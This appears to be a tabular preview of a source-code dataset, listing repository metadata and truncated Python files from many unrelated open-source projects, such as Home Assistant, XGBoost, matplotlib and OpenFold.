hexsha stringlengths 40 40 | size int64 1 1.03M | ext stringclasses 10
values | lang stringclasses 1
value | max_stars_repo_path stringlengths 3 239 | max_stars_repo_name stringlengths 5 130 | max_stars_repo_head_hexsha stringlengths 40 78 | max_stars_repo_licenses listlengths 1 10 | max_stars_count int64 1 191k ⌀ | max_stars_repo_stars_event_min_datetime stringlengths 24 24 ⌀ | max_stars_repo_stars_event_max_datetime stringlengths 24 24 ⌀ | max_issues_repo_path stringlengths 3 239 | max_issues_repo_name stringlengths 5 130 | max_issues_repo_head_hexsha stringlengths 40 78 | max_issues_repo_licenses listlengths 1 10 | max_issues_count int64 1 67k ⌀ | max_issues_repo_issues_event_min_datetime stringlengths 24 24 ⌀ | max_issues_repo_issues_event_max_datetime stringlengths 24 24 ⌀ | max_forks_repo_path stringlengths 3 239 | max_forks_repo_name stringlengths 5 130 | max_forks_repo_head_hexsha stringlengths 40 78 | max_forks_repo_licenses listlengths 1 10 | max_forks_count int64 1 105k ⌀ | max_forks_repo_forks_event_min_datetime stringlengths 24 24 ⌀ | max_forks_repo_forks_event_max_datetime stringlengths 24 24 ⌀ | content stringlengths 1 1.03M | avg_line_length float64 1 958k | max_line_length int64 1 1.03M | alphanum_fraction float64 0 1 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
796607a839a143a09c958b4f2e79251702939bc0 | 677 | py | Python | component/path.py | chamhoo/fiat | 91dafbac7f271c742990faedd28f5263df0961b1 | [
"MIT"
] | null | null | null | component/path.py | chamhoo/fiat | 91dafbac7f271c742990faedd28f5263df0961b1 | [
"MIT"
] | null | null | null | component/path.py | chamhoo/fiat | 91dafbac7f271c742990faedd28f5263df0961b1 | [
"MIT"
] | null | null | null | """
auther: leechh
"""
import cv2
import os
import shutil
from glob import glob
def count(path, suffix='jpg'):
return len(glob(os.path.join(path, f'*.{suffix}')))
def mkdir(path):
if path is not None:
if os.path.exists(path):
shutil.rmtree(path)
os.makedirs(path)
def mkshape(pa... | 19.911765 | 72 | 0.608567 |
796607f8215fdd88e4da7dc3065d6d46ee8e5813 | 11,714 | py | Python | homeassistant/components/airvisual/sensor.py | nicolaswehmeyer/core | c578541a82f5ca5420c3d3fb69eace4d9d57b28d | [
"Apache-2.0"
] | null | null | null | homeassistant/components/airvisual/sensor.py | nicolaswehmeyer/core | c578541a82f5ca5420c3d3fb69eace4d9d57b28d | [
"Apache-2.0"
] | 24 | 2021-08-25T06:13:44.000Z | 2022-03-31T06:16:27.000Z | homeassistant/components/airvisual/sensor.py | nicolaswehmeyer/core | c578541a82f5ca5420c3d3fb69eace4d9d57b28d | [
"Apache-2.0"
] | null | null | null | """Support for AirVisual air quality sensors."""
from homeassistant.components.sensor import SensorEntity
from homeassistant.const import (
ATTR_LATITUDE,
ATTR_LONGITUDE,
ATTR_STATE,
CONCENTRATION_MICROGRAMS_PER_CUBIC_METER,
CONCENTRATION_PARTS_PER_BILLION,
CONCENTRATION_PARTS_PER_MILLION,
C... | 36.154321 | 88 | 0.657248 |
796608ae27ea758bee5bd92cf698ddc8ed3e8db2 | 3,931 | py | Python | flexget/task_queue.py | signe/Flexget | dfe92d03415aab8254c5cf4827e06ad13da10504 | [
"MIT"
] | null | null | null | flexget/task_queue.py | signe/Flexget | dfe92d03415aab8254c5cf4827e06ad13da10504 | [
"MIT"
] | null | null | null | flexget/task_queue.py | signe/Flexget | dfe92d03415aab8254c5cf4827e06ad13da10504 | [
"MIT"
] | null | null | null | import queue
import sys
import threading
import time
from loguru import logger
from sqlalchemy.exc import OperationalError, ProgrammingError
from flexget.task import TaskAbort
logger = logger.bind(name='task_queue')
class TaskQueue:
"""
Task processing thread.
Only executes one task at a time, if more ... | 34.787611 | 114 | 0.596795 |
796608d1d546259c50fd9d27757cf2e9d6c77259 | 22,986 | py | Python | python-package/xgboost/dask.py | nalzok/xgboost | 04c640f562251d5719882efc1d5f706b05c737a2 | [
"Apache-2.0"
] | 1 | 2017-03-08T01:30:29.000Z | 2017-03-08T01:30:29.000Z | python-package/xgboost/dask.py | winnerineast/xgboost | 75c4c7b0a80a2a4e8f89468f2d7956251dc6677b | [
"Apache-2.0"
] | null | null | null | python-package/xgboost/dask.py | winnerineast/xgboost | 75c4c7b0a80a2a4e8f89468f2d7956251dc6677b | [
"Apache-2.0"
] | null | null | null | # pylint: disable=too-many-arguments, too-many-locals
"""Dask extensions for distributed training. See
https://xgboost.readthedocs.io/en/latest/tutorials/dask.html for simple
tutorial. Also xgboost/demo/dask for some examples.
There are two sets of APIs in this module, one is the functional API including
``train`` an... | 34.774584 | 79 | 0.599582 |
79660a719dc6f7765872e3228ba192e6b5f5eceb | 3,323 | py | Python | app/__init__.py | thaipt/myblog | b5450525d4010d626c5ad0e2a4fba82f89ec760e | [
"MIT"
] | 8 | 2019-10-05T12:00:54.000Z | 2022-01-06T09:17:06.000Z | app/__init__.py | MinhCuongIT/myblog | b5450525d4010d626c5ad0e2a4fba82f89ec760e | [
"MIT"
] | 1 | 2021-06-02T00:40:09.000Z | 2021-06-02T00:40:09.000Z | app/__init__.py | MinhCuongIT/myblog | b5450525d4010d626c5ad0e2a4fba82f89ec760e | [
"MIT"
] | 6 | 2020-02-11T12:13:12.000Z | 2021-01-28T08:44:52.000Z | import logging
from logging.handlers import SMTPHandler, RotatingFileHandler
import os
from flask import Flask, request, current_app
from config import Config
from flask_sqlalchemy import SQLAlchemy
from flask_migrate import Migrate
from flask_login import LoginManager
from flask_mail import Mail
from flask_bootstrap i... | 33.565657 | 79 | 0.662955 |
79660aa3de8a622a4d3aeb4f3fcd4819d2c77d2f | 4,891 | py | Python | orange3/Orange/preprocess/transformation.py | rgschmitz1/BioDepot-workflow-builder | f74d904eeaf91ec52ec9b703d9fb38e9064e5a66 | [
"MIT"
] | 54 | 2017-01-08T17:21:49.000Z | 2021-11-02T08:46:07.000Z | orange3/Orange/preprocess/transformation.py | Synthia-3/BioDepot-workflow-builder | 4ee93abe2d79465755e82a145af3b6a6e1e79fd4 | [
"MIT"
] | 22 | 2017-03-28T06:03:14.000Z | 2021-07-28T05:43:55.000Z | orange3/Orange/preprocess/transformation.py | Synthia-3/BioDepot-workflow-builder | 4ee93abe2d79465755e82a145af3b6a6e1e79fd4 | [
"MIT"
] | 21 | 2017-01-26T21:12:09.000Z | 2022-01-31T21:34:59.000Z | import numpy as np
import scipy.sparse as sp
from Orange.data import Instance, Table, Domain
from Orange.util import Reprable
class Transformation(Reprable):
"""
Base class for simple transformations of individual variables. Derived
classes are used in continuization, imputation, discretization...
""... | 30.761006 | 86 | 0.610918 |
79660aea48515a791ec92198491412edf721b933 | 6,328 | py | Python | portalsite/portal/core/model_type/simca/simca.py | AntonSamojlow/authenticity-portal | d3a38096c9c6aaf688ed9783464396be3ebbe673 | [
"MIT"
] | null | null | null | portalsite/portal/core/model_type/simca/simca.py | AntonSamojlow/authenticity-portal | d3a38096c9c6aaf688ed9783464396be3ebbe673 | [
"MIT"
] | 2 | 2021-11-06T14:31:24.000Z | 2021-11-06T17:10:58.000Z | portalsite/portal/core/model_type/simca/simca.py | AntonSamojlow/authenticity-portal | d3a38096c9c6aaf688ed9783464396be3ebbe673 | [
"MIT"
] | null | null | null | """
Implementation of a SIMCA model, gathering the core code in the 'Simca' class.
This is a port of selected concepts from the R package 'mdatools' - https://mdatools.com/docs/simca.html
"""
# region - imports
# standard
from dataclasses import dataclass, field
# 3rd party
import numpy as np
# local
from .pca impor... | 39.55 | 110 | 0.663559 |
79660aeb5af9e474aa71d4aa87d5be52582099cd | 237 | py | Python | esmvalcore/cmor/_fixes/cmip6/bcc_csm2_mr.py | senesis/ESMValCore | b46829eac00c06a90fbd328643449876c831578f | [
"Apache-2.0"
] | 1 | 2021-05-17T08:02:02.000Z | 2021-05-17T08:02:02.000Z | esmvalcore/cmor/_fixes/cmip6/bcc_csm2_mr.py | senesis/ESMValCore | b46829eac00c06a90fbd328643449876c831578f | [
"Apache-2.0"
] | 1 | 2021-05-17T08:04:47.000Z | 2021-05-17T08:04:47.000Z | esmvalcore/cmor/_fixes/cmip6/bcc_csm2_mr.py | zklaus/ESMValCore | 5656fb8b546eeb4d750a424de7ed56a237edfabb | [
"Apache-2.0"
] | null | null | null | """Fixes for BCC-CSM2-MR model."""
from ..common import ClFixHybridPressureCoord, OceanFixGrid
Cl = ClFixHybridPressureCoord
Cli = ClFixHybridPressureCoord
Clw = ClFixHybridPressureCoord
Tos = OceanFixGrid
Siconc = OceanFixGrid
| 13.941176 | 59 | 0.78903 |
79660b35c18d4b6ea90e620a15ce7373df767c5f | 3,657 | py | Python | model/model_backup/GBDT_DNN/post_process.py | ogotaiking/anti_ml | bb40f75c918e20c49f27ce54029bc293a2d17f85 | [
"MIT"
] | null | null | null | model/model_backup/GBDT_DNN/post_process.py | ogotaiking/anti_ml | bb40f75c918e20c49f27ce54029bc293a2d17f85 | [
"MIT"
] | null | null | null | model/model_backup/GBDT_DNN/post_process.py | ogotaiking/anti_ml | bb40f75c918e20c49f27ce54029bc293a2d17f85 | [
"MIT"
] | null | null | null | import matplotlib
import matplotlib.pyplot as plt
import matplotlib.gridspec as gridspec
import seaborn as sns
import os
import numpy as np
import pandas as pd
import tensorflow as tf
import atecml.data
from contextlib import contextmanager
from tqdm import tqdm
from sklearn.neighbors import KNeighborsClassifier
fro... | 32.651786 | 99 | 0.671589 |
79660b4ccec81cb775ceb7b7e7f8b9fe3d26de4d | 2,657 | py | Python | reasonerAPI/python-flask-server/openapi_server/models/node_binding.py | codewarrior2000/molecular-data-provider | 820b7db35cf6578f13671caaade2d48811447822 | [
"MIT"
] | null | null | null | reasonerAPI/python-flask-server/openapi_server/models/node_binding.py | codewarrior2000/molecular-data-provider | 820b7db35cf6578f13671caaade2d48811447822 | [
"MIT"
] | null | null | null | reasonerAPI/python-flask-server/openapi_server/models/node_binding.py | codewarrior2000/molecular-data-provider | 820b7db35cf6578f13671caaade2d48811447822 | [
"MIT"
] | null | null | null | # coding: utf-8
from __future__ import absolute_import
from datetime import date, datetime # noqa: F401
from typing import List, Dict # noqa: F401
from openapi_server.models.base_model_ import Model
from openapi_server import util
class NodeBinding(Model):
"""NOTE: This class is auto generated by OpenAPI Gen... | 26.838384 | 96 | 0.587128 |
79660b8bec9628fc5209702e32be1fd0d08d332b | 10,075 | py | Python | worms/tests/misc_test_data.py | natteruw/worms | 6530505d4fca3229bb93738a0bae0463a17229b8 | [
"Apache-2.0"
] | null | null | null | worms/tests/misc_test_data.py | natteruw/worms | 6530505d4fca3229bb93738a0bae0463a17229b8 | [
"Apache-2.0"
] | null | null | null | worms/tests/misc_test_data.py | natteruw/worms | 6530505d4fca3229bb93738a0bae0463a17229b8 | [
"Apache-2.0"
] | null | null | null | import numpy as np
peace_sign_test_segpos = np.array([
[[[1.00000000e+00, 0.00000000e+00, 0.00000000e+00, 0.00000000e+00],
[0.00000000e+00, 1.00000000e+00, 0.00000000e+00, 0.00000000e+00],
[0.00000000e+00, 0.00000000e+00, 1.00000000e+00, 0.00000000e+00],
[0.00000000e+00, 0.00000000e+00, 0.0000000... | 71.453901 | 75 | 0.652308 |
79660bcceb923f166560e17f345a8bca594f1a78 | 964 | py | Python | dragons/helpers/tools.py | TeamDragons/Dragons-Userbot | e40584f4dc898b785523adea4519ffb412dc92c4 | [
"MIT"
] | 3 | 2021-08-11T08:33:39.000Z | 2022-01-17T00:09:11.000Z | dragons/helpers/tools.py | sophiashirashaki/Dragons-Userbot | 2255c18428e488a267eaec1ec8c081fabcde167a | [
"MIT"
] | null | null | null | dragons/helpers/tools.py | sophiashirashaki/Dragons-Userbot | 2255c18428e488a267eaec1ec8c081fabcde167a | [
"MIT"
] | 6 | 2021-08-14T08:20:41.000Z | 2022-03-20T02:31:45.000Z | from html_telegraph_poster import TelegraphPoster
def media_type(message):
if message and message.photo:
return "Photo"
if message and message.audio:
return "Audio"
if message and message.voice:
return "Voice"
if message and message.video_note:
return "Round Video"
... | 27.542857 | 61 | 0.677386 |
79660c0e7afb2b863fc6a74ed4c7a7f80849c2d9 | 2,348 | py | Python | reaccion4elementos.py | fabianhormigo/chemistry-reaction-simulation-gillespie-method | f82df751980fcd5a6fbae7559402a19c0e9f2305 | [
"Apache-2.0"
] | null | null | null | reaccion4elementos.py | fabianhormigo/chemistry-reaction-simulation-gillespie-method | f82df751980fcd5a6fbae7559402a19c0e9f2305 | [
"Apache-2.0"
] | null | null | null | reaccion4elementos.py | fabianhormigo/chemistry-reaction-simulation-gillespie-method | f82df751980fcd5a6fbae7559402a19c0e9f2305 | [
"Apache-2.0"
] | null | null | null | # -*- coding: utf-8 -*-
"""
Created on Tue Jan 11 04:31:42 2022
@author: fabia
"""
""
_author__ = "Fabian Hormigo Pereila"
__copyright__ = "Copyright (C) 2021 Fabian Hormigo Pereila"
__license__ = "Public Domain"
__version__ = "1.0"
import numpy as np
from matplotlib import pyplot as plt
from react... | 19.898305 | 76 | 0.69506 |
79660c94560813121e6bf1bb9f45d436ec76289b | 52,715 | py | Python | third_party/gecko-15/win32/sdk/bin/xpidl.py | bwp/SeleniumWebDriver | 58221fbe59fcbbde9d9a033a95d45d576b422747 | [
"Apache-2.0"
] | 1 | 2018-02-05T04:23:18.000Z | 2018-02-05T04:23:18.000Z | third_party/gecko-15/win32/sdk/bin/xpidl.py | bwp/SeleniumWebDriver | 58221fbe59fcbbde9d9a033a95d45d576b422747 | [
"Apache-2.0"
] | null | null | null | third_party/gecko-15/win32/sdk/bin/xpidl.py | bwp/SeleniumWebDriver | 58221fbe59fcbbde9d9a033a95d45d576b422747 | [
"Apache-2.0"
] | null | null | null | #!/usr/bin/env python
# xpidl.py - A parser for cross-platform IDL (XPIDL) files.
#
# This Source Code Form is subject to the terms of the Mozilla Public
# License, v. 2.0. If a copy of the MPL was not distributed with this
# file, You can obtain one at http://mozilla.org/MPL/2.0/.
"""A parser for cross-platform IDL (... | 33.448604 | 171 | 0.523153 |
79660d4db9baa9edd67b148a9e3db762da3d08a6 | 3,704 | py | Python | flask_sandman/exception.py | manaikan/sandman2 | ecda2f08f39da58df30ce30d86436c7939cb547d | [
"Apache-2.0"
] | null | null | null | flask_sandman/exception.py | manaikan/sandman2 | ecda2f08f39da58df30ce30d86436c7939cb547d | [
"Apache-2.0"
] | null | null | null | flask_sandman/exception.py | manaikan/sandman2 | ecda2f08f39da58df30ce30d86436c7939cb547d | [
"Apache-2.0"
] | null | null | null | """JSON-based Exception classes which generate proper HTTP Status Codes."""
from flask import jsonify
class EndpointException(Exception):
"""Base class for all Exceptions."""
def __init__(self, message=None, payload=None):
super(EndpointException, self).__init__(message)
self.message = messag... | 32.491228 | 84 | 0.723002 |
79660d8a2b948dfdf5b57a1c28a878b52ffb499a | 208 | py | Python | chapter3/1_soccer_team_manager/1to4_data_processing/3-1-03.py | jongfeel/EBS-AI | 8d879e4842cd969aa3165400f621860a72b1f1be | [
"MIT"
] | null | null | null | chapter3/1_soccer_team_manager/1to4_data_processing/3-1-03.py | jongfeel/EBS-AI | 8d879e4842cd969aa3165400f621860a72b1f1be | [
"MIT"
] | null | null | null | chapter3/1_soccer_team_manager/1to4_data_processing/3-1-03.py | jongfeel/EBS-AI | 8d879e4842cd969aa3165400f621860a72b1f1be | [
"MIT"
] | null | null | null | # 궁금한 선수의 데이터 검색하기
import pandas as pd
fifa2019 = pd.read_csv('fifa2019.csv')
# --------------------------------------------
sub1 = fifa2019.loc[14] # fifa2019의 인덱스 레이블 14인 행값을 sub1에 저장
print(sub1)
| 17.333333 | 65 | 0.538462 |
79660dccceafbbf6ef3071a81d192f27e842bdfb | 10,355 | py | Python | core/models/mem_transformer.py | firehose-dataset/congrad | 20792f43aa89beae75454e30b82b2e1280ed3106 | [
"MIT"
] | 9 | 2020-07-21T14:37:22.000Z | 2021-07-14T12:44:13.000Z | core/models/mem_transformer.py | firehose-dataset/congrad | 20792f43aa89beae75454e30b82b2e1280ed3106 | [
"MIT"
] | 2 | 2020-09-22T18:05:03.000Z | 2020-11-19T09:42:21.000Z | core/models/mem_transformer.py | firehose-dataset/congrad | 20792f43aa89beae75454e30b82b2e1280ed3106 | [
"MIT"
] | 2 | 2020-07-21T16:39:12.000Z | 2020-07-30T02:20:47.000Z | import torch
import torch.nn as nn
import torch.nn.functional as F
from core.models.decoder import RelPartialLearnableDecoderLayer
from core.models.embeddings import AdaptiveEmbedding, PositionalEmbedding
from core.constants import constants
class MemTransformerLM(nn.Module):
def __init__(self,
n_user... | 37.382671 | 122 | 0.594302 |
79660def84dc4999f4331aeceb89cd988b69fa4e | 4,739 | py | Python | tests/couriers_validator_tests.py | vokor/backendschool2021 | e23263c33e4a4f893f4d31680c8ebf9ae4c184b7 | [
"MIT"
] | null | null | null | tests/couriers_validator_tests.py | vokor/backendschool2021 | e23263c33e4a4f893f4d31680c8ebf9ae4c184b7 | [
"MIT"
] | null | null | null | tests/couriers_validator_tests.py | vokor/backendschool2021 | e23263c33e4a4f893f4d31680c8ebf9ae4c184b7 | [
"MIT"
] | null | null | null | import unittest
from datetime import datetime
from unittest.mock import MagicMock
from jsonschema import ValidationError
from parameterized import parameterized
from application.data_validator import DataValidator
from tests.test_utils import read_data
class CouriersValidatorTests(unittest.TestCase):
@classmeth... | 49.884211 | 115 | 0.659211 |
79660ef1e3b3cef5d08d1ae5a422d24578109d67 | 3,180 | py | Python | cumulusci/tasks/github/tests/test_tag.py | davisagli/CumulusCI | fd74c324ad3ff662484b159395c639879011e711 | [
"BSD-3-Clause"
] | 109 | 2015-01-20T14:28:48.000Z | 2018-08-31T12:12:39.000Z | cumulusci/tasks/github/tests/test_tag.py | davisagli/CumulusCI | fd74c324ad3ff662484b159395c639879011e711 | [
"BSD-3-Clause"
] | 365 | 2015-01-07T19:54:25.000Z | 2018-09-11T15:10:02.000Z | cumulusci/tasks/github/tests/test_tag.py | davisagli/CumulusCI | fd74c324ad3ff662484b159395c639879011e711 | [
"BSD-3-Clause"
] | 125 | 2015-01-17T16:05:39.000Z | 2018-09-06T19:05:00.000Z | import pytest
import responses
from cumulusci.core.config import ServiceConfig, TaskConfig
from cumulusci.core.exceptions import GithubApiNotFoundError
from cumulusci.tasks.github import CloneTag
from cumulusci.tasks.github.tests.util_github_api import GithubApiTestMixin
from cumulusci.tests.util import create_project... | 34.945055 | 85 | 0.55283 |
79660f3e9241c04854861e65da8edd4676030e6f | 8,445 | py | Python | run_pretrained_openfold.py | cclauss/openfold | a933bc7479a13e4fcb95f7c7d7ffb9a6b55b0d4f | [
"Apache-2.0"
] | null | null | null | run_pretrained_openfold.py | cclauss/openfold | a933bc7479a13e4fcb95f7c7d7ffb9a6b55b0d4f | [
"Apache-2.0"
] | null | null | null | run_pretrained_openfold.py | cclauss/openfold | a933bc7479a13e4fcb95f7c7d7ffb9a6b55b0d4f | [
"Apache-2.0"
] | null | null | null | # Copyright 2021 AlQuraishi Laboratory
# Copyright 2021 DeepMind Technologies Limited
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# ... | 34.469388 | 80 | 0.649852 |
79660f932386d729328268095c0b57ab470a2ca8 | 20,201 | py | Python | spineq/data_fetcher.py | alan-turing-institute/spatial-inequality | 13e47817db92c14aaf3b0f3d020305adb821e0b5 | [
"MIT"
] | 5 | 2021-07-14T12:42:32.000Z | 2022-03-02T18:14:48.000Z | spineq/data_fetcher.py | alan-turing-institute/spatial-inequality | 13e47817db92c14aaf3b0f3d020305adb821e0b5 | [
"MIT"
] | 40 | 2020-01-29T14:44:13.000Z | 2022-02-11T16:14:53.000Z | spineq/data_fetcher.py | alan-turing-institute/spatial-inequality | 13e47817db92c14aaf3b0f3d020305adb821e0b5 | [
"MIT"
] | 1 | 2021-03-27T20:26:39.000Z | 2021-03-27T20:26:39.000Z | import os
from io import BytesIO
import zipfile
import time
import warnings
import json
from pathlib import Path
import argparse
import requests
import pandas as pd
import geopandas as gpd
import fiona
DATA_DIR = Path(os.path.dirname(__file__), "../data")
RAW_DIR = Path(DATA_DIR, "raw")
PROCESSED_DIR = Path(DATA_DIR,... | 38.478095 | 254 | 0.701797 |
79660fbb3619f3f904982b65c0cc57f621d1e6c1 | 2,929 | py | Python | seqgra/model/data/datageneration.py | gifford-lab/seqgra | 3c7547878ecda4c00572746b8a07e0d614c9dbef | [
"MIT"
] | null | null | null | seqgra/model/data/datageneration.py | gifford-lab/seqgra | 3c7547878ecda4c00572746b8a07e0d614c9dbef | [
"MIT"
] | null | null | null | seqgra/model/data/datageneration.py | gifford-lab/seqgra | 3c7547878ecda4c00572746b8a07e0d614c9dbef | [
"MIT"
] | 2 | 2021-06-14T20:27:40.000Z | 2021-06-14T20:29:29.000Z | """
MIT - CSAIL - Gifford Lab - seqgra
DataGeneration and Set class definitions, markup language agnostic
@author: Konstantin Krismer
"""
from __future__ import annotations
from typing import List, Optional
from seqgra.model.data import Condition
from seqgra.model.data import PostprocessingOperation
class DataGen... | 39.053333 | 100 | 0.570843 |
7966110f603276e5e699583627a6ff11980ab999 | 2,403 | py | Python | gammapy/detect/tests/test_lima.py | grburgess/gammapy | 609e460698caca7223afeef5e71826c7b32728d1 | [
"BSD-3-Clause"
] | 3 | 2019-01-28T12:21:14.000Z | 2019-02-10T19:58:07.000Z | gammapy/detect/tests/test_lima.py | grburgess/gammapy | 609e460698caca7223afeef5e71826c7b32728d1 | [
"BSD-3-Clause"
] | null | null | null | gammapy/detect/tests/test_lima.py | grburgess/gammapy | 609e460698caca7223afeef5e71826c7b32728d1 | [
"BSD-3-Clause"
] | null | null | null | # Licensed under a 3-clause BSD style license - see LICENSE.rst
from __future__ import absolute_import, division, print_function, unicode_literals
import numpy as np
from numpy.testing.utils import assert_allclose, assert_equal
from astropy.convolution import Tophat2DKernel
from astropy.io import fits
from ...utils.... | 38.758065 | 92 | 0.719101 |
7966111294761d3a6bc9c17a27a3a2cb2d102e1d | 2,020 | py | Python | aliyun-python-sdk-scdn/aliyunsdkscdn/request/v20171115/DescribeScdnDomainRealTimeBpsDataRequest.py | sdk-team/aliyun-openapi-python-sdk | 384730d707e6720d1676ccb8f552e6a7b330ec86 | [
"Apache-2.0"
] | null | null | null | aliyun-python-sdk-scdn/aliyunsdkscdn/request/v20171115/DescribeScdnDomainRealTimeBpsDataRequest.py | sdk-team/aliyun-openapi-python-sdk | 384730d707e6720d1676ccb8f552e6a7b330ec86 | [
"Apache-2.0"
] | null | null | null | aliyun-python-sdk-scdn/aliyunsdkscdn/request/v20171115/DescribeScdnDomainRealTimeBpsDataRequest.py | sdk-team/aliyun-openapi-python-sdk | 384730d707e6720d1676ccb8f552e6a7b330ec86 | [
"Apache-2.0"
] | null | null | null | # Licensed to the Apache Software Foundation (ASF) under one
# or more contributor license agreements. See the NOTICE file
# distributed with this work for additional information
# regarding copyright ownership. The ASF licenses this file
# to you under the Apache License, Version 2.0 (the
# "License"); you may not u... | 33.666667 | 94 | 0.764356 |
79661119db3150ed5d439d24ba9260bb53c4965c | 22,859 | py | Python | lib/python2.7/site-packages/matplotlib/legend_handler.py | wfehrnstrom/harmonize | e5661d24b2021739e8ac4bf1d3a530eda4e155b3 | [
"MIT"
] | 1 | 2017-12-05T15:35:47.000Z | 2017-12-05T15:35:47.000Z | lib/python2.7/site-packages/matplotlib/legend_handler.py | wfehrnstrom/harmonize | e5661d24b2021739e8ac4bf1d3a530eda4e155b3 | [
"MIT"
] | 10 | 2017-07-13T00:24:03.000Z | 2017-07-17T07:39:03.000Z | lib/python2.7/site-packages/matplotlib/legend_handler.py | wfehrnstrom/harmonize | e5661d24b2021739e8ac4bf1d3a530eda4e155b3 | [
"MIT"
] | 7 | 2017-08-01T04:02:07.000Z | 2018-10-06T21:07:20.000Z | """
This module defines default legend handlers.
It is strongly encouraged to have read the :ref:`legend guide
<plotting-guide-legend>` before this documentation.
Legend handlers are expected to be a callable object with a following
signature. ::
legend_handler(legend, orig_handle, fontsize, handlebox)
Where *l... | 36.399682 | 87 | 0.60217 |
7966111afd5c7679f4e2c2821ee52f0891bdedb3 | 3,960 | py | Python | CodeAnalysis/SourceMeter_Interface/SourceMeter-8.2.0-x64-linux/Python/Tools/python/logilab/common/test/unittest_pytest.py | ishtjot/susereumutep | 56e20c1777e0c938ac42bd8056f84af9e0b76e46 | [
"Apache-2.0"
] | 3 | 2018-11-25T01:09:55.000Z | 2021-08-24T01:56:36.000Z | CodeAnalysis/SourceMeter_Interface/SourceMeter-8.2.0-x64-linux/Python/Tools/python/logilab/common/test/unittest_pytest.py | ishtjot/susereumutep | 56e20c1777e0c938ac42bd8056f84af9e0b76e46 | [
"Apache-2.0"
] | 3 | 2021-12-14T20:57:54.000Z | 2022-01-21T23:50:36.000Z | CodeAnalysis/SourceMeter_Interface/SourceMeter-8.2.0-x64-linux/Python/Tools/python/logilab/common/test/unittest_pytest.py | ishtjot/susereumutep | 56e20c1777e0c938ac42bd8056f84af9e0b76e46 | [
"Apache-2.0"
] | 3 | 2018-11-09T03:38:09.000Z | 2020-02-24T06:26:10.000Z | # copyright 2003-2011 LOGILAB S.A. (Paris, FRANCE), all rights reserved.
# contact http://www.logilab.fr/ -- mailto:contact@logilab.fr
#
# This file is part of logilab-common.
#
# logilab-common is free software: you can redistribute it and/or modify it under
# the terms of the GNU Lesser General Public License as publ... | 38.823529 | 81 | 0.668939 |
7966112803d1761820f11f008630abc1d231b929 | 2,352 | py | Python | tests/test_drop_emptier_dups.py | craigshall/chiptools | a3358203a1e1f873c4a3c9a490b57fa847f5bd13 | [
"BSD-3-Clause"
] | null | null | null | tests/test_drop_emptier_dups.py | craigshall/chiptools | a3358203a1e1f873c4a3c9a490b57fa847f5bd13 | [
"BSD-3-Clause"
] | null | null | null | tests/test_drop_emptier_dups.py | craigshall/chiptools | a3358203a1e1f873c4a3c9a490b57fa847f5bd13 | [
"BSD-3-Clause"
] | null | null | null | from chiptools import drop_emptier_dups
import pandas as pd
import numpy as np
from pandas.util.testing import assert_frame_equal
columns = ['A', 'B', 'C']
rows = [[1.0, 2.0, np.NaN], [3.0, np.NaN, 4.0], [np.NaN, 5.0, np.NaN]]
time = '2019-04-02 11:00:00'
def _create_docstring_df():
"""creates the df used in the ... | 38.557377 | 112 | 0.647959 |
796611d52286196e848bb3958e50771e1711c938 | 8,408 | py | Python | src/officehours_api/models.py | pushyamig/remote-office-hours-queue | 339e3e2d382225da17ca985edac79ee8746d691e | [
"Apache-2.0"
] | 9 | 2020-04-13T13:18:43.000Z | 2022-03-04T21:10:58.000Z | src/officehours_api/models.py | pushyamig/remote-office-hours-queue | 339e3e2d382225da17ca985edac79ee8746d691e | [
"Apache-2.0"
] | 249 | 2020-04-11T15:34:50.000Z | 2022-02-19T00:25:28.000Z | src/officehours_api/models.py | pushyamig/remote-office-hours-queue | 339e3e2d382225da17ca985edac79ee8746d691e | [
"Apache-2.0"
] | 7 | 2020-04-10T12:19:54.000Z | 2021-04-25T19:42:41.000Z | from enum import Enum
from typing import List, Optional, Set
from django.conf import settings
from django.db import models
from django.contrib.auth.models import User
from django.contrib.postgres.fields import ArrayField
from django.dispatch import receiver
from django.db.models.signals import post_save
from django.co... | 32.589147 | 104 | 0.685181 |
79661239b776c92b67c2ea11526efe91b6c7f04b | 1,110 | py | Python | app/config.py | werliton/flask-skeleton-api | 4044fc9742c8f8aded8df988dc6d5ef2a0cb5806 | [
"Apache-2.0"
] | 1 | 2019-02-26T19:20:39.000Z | 2019-02-26T19:20:39.000Z | app/config.py | werliton/flask-skeleton-api | 4044fc9742c8f8aded8df988dc6d5ef2a0cb5806 | [
"Apache-2.0"
] | null | null | null | app/config.py | werliton/flask-skeleton-api | 4044fc9742c8f8aded8df988dc6d5ef2a0cb5806 | [
"Apache-2.0"
] | null | null | null | import urllib
import os
class Config(object):
DEBUG = False
TESTING = False
SQLALCHEMY_TRACK_MODIFICATIONS = False
SQLALCHEMY_RECORD_QUERIES = True
FLASK_SLOW_DB_QUERY_TIME = 0.2
JSON_AS_ASCII = False
SWAGGER = {
'title': 'Swagger',
'doc_dir': os.path.join(os.getcwd(), 'app... | 21.346154 | 103 | 0.613514 |
7966129b079df8ec23feb482378a3a10cd72d997 | 158 | py | Python | NetCatKS/NetCAT/api/interfaces/twisted/protocols/__init__.py | dimddev/NetCatKS-CP | 2d9e72b2422e344569fd4eb154866b98e9707561 | [
"BSD-2-Clause"
] | null | null | null | NetCatKS/NetCAT/api/interfaces/twisted/protocols/__init__.py | dimddev/NetCatKS-CP | 2d9e72b2422e344569fd4eb154866b98e9707561 | [
"BSD-2-Clause"
] | null | null | null | NetCatKS/NetCAT/api/interfaces/twisted/protocols/__init__.py | dimddev/NetCatKS-CP | 2d9e72b2422e344569fd4eb154866b98e9707561 | [
"BSD-2-Clause"
] | null | null | null | __author__ = 'dimd'
from NetCatKS.NetCAT.api.interfaces.twisted.protocols.linereceiver import IDefaultLineReceiver
__all__ = [
'IDefaultLineReceiver'
]
| 19.75 | 94 | 0.797468 |
796614d18db14f5b2e5c5d7f029486d1769be92e | 79 | py | Python | Dataset/Leetcode/valid/69/410.py | kkcookies99/UAST | fff81885aa07901786141a71e5600a08d7cb4868 | [
"MIT"
] | null | null | null | Dataset/Leetcode/valid/69/410.py | kkcookies99/UAST | fff81885aa07901786141a71e5600a08d7cb4868 | [
"MIT"
] | null | null | null | Dataset/Leetcode/valid/69/410.py | kkcookies99/UAST | fff81885aa07901786141a71e5600a08d7cb4868 | [
"MIT"
] | null | null | null | class Solution:
def XXX(self, x: int) -> int:
return int(sqrt(x))
| 15.8 | 33 | 0.556962 |
